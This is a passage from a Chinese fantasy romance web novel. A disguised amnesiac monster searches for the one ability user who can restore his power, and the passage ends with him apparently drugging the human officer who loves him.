老大只是恪尽职守,乐于助人罢了。
*
电梯缓缓上升。
晏深看着逐渐跳动的数字,有些奇怪刚才大厅里的人们不都是在等电梯吗,怎么一个都不上来?
眼角余光里,是冷然如山巅雪的男人。
晏深:“………”
他好像知道问题的所在了。
高岭之花名不虚传。
似是察觉到他的目光,肖闻笛垂眸看向他,苍灰色的眼睛中倒映着他的身形。
晏深下意识移开目光,不自在地动了下手指:“那个……可以松开我的手吗?”
从走进管理局大楼时,肖闻笛便一直牵着他的手,之前逛街的时候也是,但那时候街上的人类几乎都是这样,所以他也从善如流地模仿,努力伪装成合群的人类。
但今天……
管理局里没有一个人是手牵着手的,他们再牵手,就显得不合群了吧?
肖闻笛没有松开他,反问:“不喜欢?”
低沉的嗓音响在头顶,二人距离很近,呼吸的气流扫过他的耳廓,传来痒痒的触感。
晏深歪了一下头:“也不是……”
肖闻笛的手掌温热,被握在掌间暖暖的,很舒服,说实话他还挺喜欢的。但他只是想要伪装成人类不被发现,如果举止突兀很有可能惹来怀疑。
人类……会平白无故地牵手吗?
“想牵手的话,随时都可以。”
就像是知道他心中所想,肖闻笛轻声说道。
是这样的吗……?
晏深搞不懂。
在深渊,怪物们从来不会手牵手,利爪是他们的武器,牵手只会让他们在面对危险时反应迟钝,而一分一秒的耽误,都很有可能是致命的。
但既然身为人类的肖闻笛都这样说了,那还是遵从人类社会的规则为好。
晏深默默低下头。
电梯里一时只剩下机械运行的声音。
在他不可见的上方,肖闻笛静静注视着他,冷然的脸庞上是清晰浮起的淡然笑意,宛如山顶上悄然绽放的雪莲。
他曾经说过,自己不会喜欢上任何人。
因为……
他深爱着一只怪物。
一见钟情。
一往情深。
此生,至死不渝。
*
岳宁敲响办公室门的时候,晏深正坐在老位置上吃着小饼干。
墨色长发铺洒而下,漆黑的眼眸如黑曜石般璀璨夺目。
看着本不该出现在管理局的面孔,岳宁没有露出丝毫的惊讶。
因为只是一上午的时间,关于禁欲冷孑的肖闻笛肖长官居然带了个绝色美人来到管理局的消息,就已经传遍了整栋大楼。
其实早在昨天下午,已经有只言片语传进了岳宁的耳中。
不过当时都是攻掠处的队员们,大家口风向来紧,又在岳宁的三令五申下闭口不言,不像其他部门,风言风语,以讹传讹,转眼间管理局上下人尽皆知。
岳宁担忧地皱紧眉头,而当事人二人,一个无知无觉地吃着小饼干,一个泰然自若地看着报告书……全然不知道外界因为他们已经卷起了何等猛烈的风暴。
“长官。”岳宁走到肖闻笛的面前,直言说道,“您可能需要亲自出面辟谣,外面已经——”
肖闻笛打断她:“我要的东西呢?”
岳宁把整理好的清单递了过去,见肖闻笛低头翻阅没有接话的意思,她又继续说道:“长官,您大概不知道,现在外面——”
“我知道。”
肖闻笛再次打断了她的话。
岳宁一愣:“您知道?”那怎么还如此云淡风轻的?
她还记得曾经有位世家小姐另辟蹊径,想要坐拥舆论逼他就范,肖闻笛当晚就召集媒体辟谣,言辞直接又犀利,反应干脆又利落。
如今怎么转性了?
肖闻笛难得掀起眼睑,看着面前好心提醒的下属:“这件事你不用管。”
岳宁:“……?”
苍灰色的眼睛直视着她,岳宁明白,她就算再多说什么,也改变不了肖闻笛的决定。
只是她实在不明白,究竟是因为什么,让长官对待同一件事情,出现了两种截然不同的态度?
难道…
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…
“还有事?”
冷冽的嗓音响起,岳宁赶紧收回思绪,拿出文件夹里的表格:“后勤处在跟进被解救人员的情况,其他人都已经被家人接走,但是他……”
岳宁的目光扫过晏深,失忆的人什么都不记得,只能发布公告帮他寻找家人,可姓名栏也不能一直空着,需要起个临时的名字。
“本来随便填也可以,但这很有可能是他恢复记忆前要一直使用的名字,所以我想,还是来问问他的想法比较好。”
肖闻笛接过表格,看向坐在一旁的晏深:“你有倾向的名字吗?
“……”晏深抬起头,其实早在岳宁递过去清单的时候他就已经把注意力放到二人的对话上,而直到此刻肖闻笛cue到他,他这才佯装听到,沉吟一瞬后说道,“都可以。”
晏深不清楚人类起名的逻辑,贸然出口很有可能取个香蕉茄子之类猎奇的名字,还是不要平白惹人怀疑的好。
“那长官您看……”岳宁请示肖闻笛的意见。
肖闻笛指尖划过表格的边缘,并未直接让她随便填写,反而将表格放在了自己的办公桌上:“你先回去吧。”
岳宁挑眉。
这是……长官要亲自取名的意思?
堂堂攻掠处负责人,无人能敌的人类最强,居然还会揽下如此无足轻重的小事儿……
但不过须臾之间,岳宁已经掩下眼底的惊诧,退出了办公室。
几乎是办公室门关闭的下一秒,肖闻笛示意晏深过来。
晏深期盼已久的清单就在桌上,几步之遥,他几乎是强压着急切走了过去。
指尖微微颤抖,但他并没有急于伸出手。
直到肖闻笛主动将清单递了过来,他这才按捺住心情的激荡,状似寻常地接了过来。
只要找到清单里的雷系异能者,就可以知晓到底是不是异能种类在决定是否能帮他恢复力量。
然而下一瞬……
晏深看着A4打印纸上的内容,茫然眨眼。
坏了……
他忘记了最重要的一件事。
——他不认字。
其实这么说也不太准确,人类的文字他勉强认识几个,像是肖闻笛的名字,自己的名字,还有一些简单的常用字……
但清单里这么多人名,他就认不全了。
“需要帮忙吗?”
清新的草木味道涌进鼻腔,晏深抬眸,后知后觉发现肖闻笛不知何时来到了他的身边。
“……”晏深思绪一转,指着清单上的一个人名说道,“这是谁?是我之前见过的队员吗?”
“是,入城的那天他也在。”
“这个呢?”
“这个不在。”
晏深一鼓作气指出了十来个,有的见过,有的没有见过,然后略有遗憾地提起:“那天他们对我多有照顾,我现在失忆,以后寻找家人也少不了麻烦其他人,我想我应该当面感谢才对。”
“你想见他们?”
“可以吗?”
晏深等待着肖闻笛的回答,面前的人神情沉如渊薮,看不透在想些什么。
晏深的内心忐忑。
他刚才指出的队员,大部分是姓名栏后标示着和肖闻笛一样字符的人——同属雷系的异能拥有者。
为了避免怀疑,他还掺杂了几个其他属性的异能者,但……以肖闻笛的敏锐,不好说有没有察觉出什么。
或许……
当面感谢的说辞还是太过勉强了,他应该再想点更具说服力的理由。
正在晏深思索的片刻,肖闻笛点了点头:“可以。”
对方的干脆出乎晏深的意料,而肖闻笛已经侧身拿起办公桌上的电话。
男人的侧脸清晰挺括,修长的手指握着话筒,几句话的功夫,已经把刚才晏深指出的名字全部叫出。
三分钟后,异能者们出现在他的面前。
虽然不明白肖闻笛为何如此配合,但当下不是深究原因的时候。
晏深走到来人们面前。
普通人试过。
非雷系异能者试过。
而如今,只剩下最后的一块拼图……
除了肖闻笛,还未曾接触过的雷系异能者们……这些人中,总该有人能帮他恢复力量了吧。
晏深深吸一口气。
伸出了手。
20. 选择
巨大的游轮行驶在外海海域上,破开一层层翻滚的浪花。
甲板上,高挑的少年倚靠在围栏上打着电话,金色的发梢在海风的吹拂下飘荡摇摆。
“知道了。”
“按照我的吩咐去办。”
片刻后,少年关掉手机,目光转而望向逐渐接近的海岸线。
那是中央区的边缘,而距离他急切想要回到的中央区腹地,还要再开车行驶三天的时间。
只要再三天……
他就能回到那里。
到时候……
少年的眼睛眯起。
你准备好受死了吗?
卑劣的闯入者。
*
攻掠处的队员们鱼贯离开办公室,房门关闭的瞬间,仿佛有希望碎裂的细响。
怎么可能?!
晏深低头看着自己的掌心。
就在刚刚,他与攻掠处里所有的雷系异能者一一接触,但还是无人能引起他身体里一丝丝力量的波动!
普通人不行。
其他异能者不行。
就连和肖闻笛一样的雷系异能者也还是不行!
所以到底要怎样,他才能恢复力量?!
正在晏深颓然迷茫的时候,温热的触感牵起他的手。
随着肌肤相触,涓涓细流流淌而入,力量正在悄然恢复。
晏深抬起头。
撞进熟悉的苍灰色眼眸中。
肖闻笛垂首看着他。
这一刻,晏深猛然意识到——
能帮助他恢复力量的人。
只有肖闻笛。
*
晏深不辞而别。
他撑着伞独自行走在长街上。
紫金色的伞面遮挡着阳光,而街道的尽头,是中央区巍峨挺立的大门。
出城的人络绎不绝,车轮压过柏油马路,驶向危险遍布的荒原野外。
“小兄弟,需要护卫不?”
街道边,招揽生意的异能者见他孤身一人,又身形羸弱,瞬间将他定位为高需求客户,热络地凑过来。
“半天300,一天500,包月8折,很划算的啦。”
“不用。”
晏深拒绝得干脆,异能者显然没想到,追在身后争取:“城外很危险的!你一个人出去遇到怪物可是要出人命的!”
纤瘦的身影停顿在原地。
眼看生意有望,异能者趁热打铁:“我是土系异能,可攻可守,绝对护你安全,你要是嫌贵,还能——”
“商量”二字还没说出口,晏深已然转回身:“成交。”
虽然不知道为什么刚才一口回绝的人突然改变了主意,但不用降价就能接下生意,异能者很是高兴。
“老板爽快!我叫阿金,接下来的行程安全交给我你就放心吧!”
阿金立刻上岗,非常有职业操守地询问:“你打算去哪?我可以帮你规划路线,避开怪物活跃的区域。”
“深渊。”
“去深渊啊,那可真是……等等?!你说你要去哪???!”
阿金怀疑地掏掏自己的耳朵,而面前的人神情淡然,昳丽的面容上沉静无波,全然不觉得自己的目的地有多么令人震惊。
“……你是在开玩笑吧?”
晏深:“你不认路?”
阿金:“……”
那是不认路的事吗?那是根本不能去!
越靠近深渊,怪物的数量越多等级越高。
别看攻掠处前些日子刚从深渊大胜归来,如履平地一般,但那全都是因为队伍里有人类史上的最强者——肖闻笛!
那可是断层级的强者!
倘若没有这柄无坚不摧的利剑,攻掠处精英的异能者们都要伤亡惨重,更何况他们这些边缘讨生活的普通异能者了。
晏深:“可我若是想去,该怎么办?”
黝黑的瞳孔望向悠远的天际,眼中是对那片神秘而危险的区域显而易见的向往与……思念。
阿金:“……”
思念?肯定是他看错了。
那可是全人类的梦魇地狱啊!
不过原本以为遇到了天选优质客户,万万没想到客户脑子有点不正常。
正在他遗憾好不容易揽来的单子要泡汤的时候,沉默须臾的客户重新开口。
“那便换个目的地。”
阿金精神振奋:“咱们的新目的地是?”
“还没想好。”
“啊?”
这是阿金从业八年以来,第一次遇到目的地不定的护卫工作。
除此之外,撑着伞的客户还有额外的要求:只需陪同,不许出手。
???
花钱请了护卫,却不让护卫出手,这是何意味?
难道撑着伞的客户还会自己打怪不成?
“啊——!”
一声惨叫,潜伏在草丛里的怪物偷袭不成,反被晏深挥手凝出的水刃一击毙命。
阿金目瞪口呆。
这、这……
这人的实力,根本就不需要护卫啊!
旷野之上,纤瘦的人神情恹恹,细密的睫毛低垂,遮掩了情绪。
“走吧。”
直到晏深走出去了好远,阿金才如梦初醒,小跑着追了上去。
虽说目的地改变,但他们一路仍是向着深渊的方向行进,周围怪物出现的频率越来越高,能力越来越强,阿金不安地扭头。
“那个……老板,你到底是要去哪啊?”
晏深正解决完一只怪物,脸颊上溅着血,他伸手抹掉,看了看被远远甩在后面的中央区城门。
“我们出来多远了?”
“大概……”阿金远眺估算,“有十二公里。”
“才十二公里?”
晏深蹙了蹙眉。
深渊距离中央区,可是有上千公里。
然而现在不过走出来十二公里,他体内的异能就已经所剩无几了。
仅凭现在的力量,只能做到这种微不足道的程度吗……
手指攥紧成拳,指甲嵌入掌心,胸腔中翻涌着复杂的浪潮,又被早已明了的结局压抑而下。
晏深长长呼出一口气:“回去吧。”
“啊?”
阿金没有反应过来,晏深已经调转方向沿着来路返回。
不是?
什么情况?
跑出来一遭到底是干什么来的?
阿金得不到答案,只能秉承职业操守,尽职尽责地跟了上去。
一路上晏深都沉默不语,气氛低沉,阿金也不好多问,默默完成自己护卫的工作。
等二人回到相遇的街道上时,太阳已经下山,夕阳的余晖下,晏深付给了阿金500酬金。
“老板,付多了。”
从下午到现在,才半天时间,300块就够了。
“你拿着吧。”
晏深转卖了肖闻笛给他买的一件装饰品,换了2000块。
他对人类的货币没什么概念,但只一件东西就换了2000,想来500也不是很多钱。
晏深转身要走,被阿金拉住:“那什么……我不能凭白多收你的钱,这样吧,你加我联系方式,以后有事随时喊我。”
短时间内,晏深都不可能再出城,但阿金坚持,他也无所谓,拿出手机把对方加到了通讯录。
“咦?老板,你有好多未接电话,怎么不接啊?”阿金无意扫过他的屏幕,右上角挂着红色的提示。
未接电话?
晏深对电子产品一知半解,此时点开才发现,屏幕上标示着惊人的99+。
“你的来电提醒是静音,得调成振动或响铃才听得到啊。”阿金热情地提醒他,“那你先忙,有事电话联系,保证随叫随到!”
阿金挥挥手先行离开,晏深打开通话记录查看,显示未接电话全部来自一人。
——肖闻笛。
找他有事?
他记得……应该是这样打电话……
晏深生疏但总算成功地回拨了过去。
几乎是等待音响起的第一秒,对面立刻接通了电话,然而声音却在隔了几秒后才慢慢传来。
“……喂?”
低沉的嗓音,透着喑哑。
还有不
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知为何染上的小心翼翼,带着试探。
晏深心绪不高,没有察觉到对面的异常,低头漫步走在街头:“你找我?”
听到他的声音,肖闻笛似乎松了一口气,再开口时,语调平稳许多,但仍有遮掩不住的急切:“你在哪?”
“我在外面随便逛逛。”晏深对出城一趟的事情闭口不言,只说道,“一会儿就回去了。”
“好,我在家等你。”
晏深挂掉了电话,慢悠悠向回走,路上经过商店,买了两杯奶茶打包带走。
回到公寓的时候,天已经彻底黑了下来。
算起来,他从管理局不辞而别到现在,足足过去了半天的时间,也难怪肖闻笛会给他打那么多电话。
晏深推开门,发现房间里没有开灯,黑漆漆的一片。
他伸手摸索,可还没触碰到开关,便被黑暗中伸来的手掌猛然握住。
一股大力拉拽着手腕,身体被带着向前,他站立不稳,踉跄着跌进对面硬挺的怀抱。
铁钳一般的臂膀死死箍住他的后腰。
被桎梏的不安让他下意识挣扎,然而下一秒,熟悉的草木香味涌入鼻腔,带着对方低沉的呼吸声。
意识到对方的身份,晏深停下了挣扎。
黑暗中。
肖闻笛没有说话。
无声地拥抱着他。
晏深想,可能是自己不告而别,又回来得太晚,肖闻笛担心他迷路走丢了吧。
他用没有拎着奶茶的左手拍了拍肖闻笛的后背:“放心,我回来了。”
抱着他的手臂在收紧,但又很好地控制了力度,晏深感觉得到紧贴着他的胸膛传来心脏砰砰跳动的声音。
“咚!”
“咚!”
“咚!”
一下又一下。
传递着主人内心的情绪。
晏深觉得新奇。
就连冷如寒霜的肖闻笛,也会有如此情绪波动的时候吗?
只可惜他现在看不到肖闻笛的正脸,否则还真的要好好看看这位高岭之花此时究竟是何表情。
他们保持着相拥的姿势,直到过了很久很久……肖闻笛才慢慢地放开了他。
苍灰色的眼眸低垂着:“为什么不告而别,为什么……这么晚才回来?”
“我买了奶茶。”晏深没有回答,反而抬起手晃了晃打包袋,“听说很好喝,我特意带回来给你的,要不要尝尝?”
“特意……带给我的?”肖闻笛轻声重复。
“是啊,”晏深拿出其中一杯,将吸管插入其中递了过去,“喏,这杯是你的。”
即便光线昏暗,也能清晰地看到有烟花在那片向来冷然的眼底无声绽放。
彼时低沉的气压消失不见,肖闻笛俯下身,低头啜饮。
然而在奶茶含入口中的那一瞬间,他顿住了动作。
“……不好喝吗?”晏深喉咙有些发紧,面上仍故作轻松地询问。
不过一瞬,肖闻笛吞咽而下,神色寻常:“很好喝。”
晏深松了一口气,将奶茶杯递了过去:“好喝就多喝点。”
他的本意是想要肖闻笛自己拿过去,而对方却没有领会,反而就着他举起的姿势覆上他的手,连着奶茶杯一起握在掌间。
温热的大掌贴合着他的肌肤,传来的温度仿佛透过表层灼烧着内里。
晏深不太自在地动了动。
不过他没有抽回,反而任由死敌的掌心亲昵地贴合着自己。
一眨眼的功夫。
奶茶被一饮而尽。
肖闻笛抬眸,苍灰色的眼中全是他的倒影:“我全部喝掉了,一点儿都没有浪费。”
是呢。
一点儿都没有浪费。
晏深感受着手中空杯轻飘飘的重量,有些心惊。
他眨眨眼睛:“你……”
然而话还没有说完,肖闻笛的身影晃了晃。
下一瞬,面对百万怪物大军依旧岿然不动的身躯,在他的面前轰然倒下。
漆黑的眼眸中没有闪过丝毫意外。
就好像……
早已知晓。